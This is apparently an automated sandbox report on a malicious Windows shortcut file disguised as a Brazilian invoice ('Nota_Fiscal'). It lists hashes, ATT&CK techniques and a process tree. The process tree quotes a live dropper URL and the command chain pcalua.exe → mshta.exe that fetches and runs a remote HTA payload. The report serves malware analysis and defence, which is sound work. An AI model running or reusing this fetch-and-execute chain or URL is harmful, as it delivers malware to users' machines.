b495648ee6e9112f08e33f797eeac99df76cdb5825984ed8dbdc31e72910f430

Analysis

max time kernel
60s
max time network
37s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 15:18

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General

Target
Nota_Fiscal--1FZIT2.lnk
Size 1KB
Sample260818-sppbvsdj7s
SHA256 b495648ee6e9112f08e33f797eeac99df76cdb5825984ed8dbdc31e72910f430
MD5 0e56b85f810f55aa4c7690c78a90c375
SHA1 213c3882d110a84bf73e57d83beec5ef7f27594c
SHA512 dda40120ab95dfb1f317f40046e11b73d17646d0253e4f1f60703e90c43e0a4fb9542983aa6b5c2c4299b565e1e03d00f41e84f7838d44b823f16157e0837066
TLSH
T1B43171003EFA0660F3B39EB28077A71489FBB85A8E118B1E00840A481473A01E57AFB3
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://doc.alfanotas.com/h/estagio1.php?r=391C7CE85D88

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1556	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1556 wrote to memory of 5168	1556	cmd.exe	91
PID 5168 wrote to memory of 4264	5168	pcalua.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Nota_Fiscal--1FZIT2.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1556
- C:\WINDOWS\system32\pcalua.exe
  "C:\WINDOWS\system32\pcalua.exe" -a mshta.exe -c "https://doc.alfanotas.com/h/estagio1.php?r=391C7CE85D88"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5168
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" "https://doc.alfanotas.com/h/estagio1.php?r=391C7CE85D88"
    3⤵
    PID:4264

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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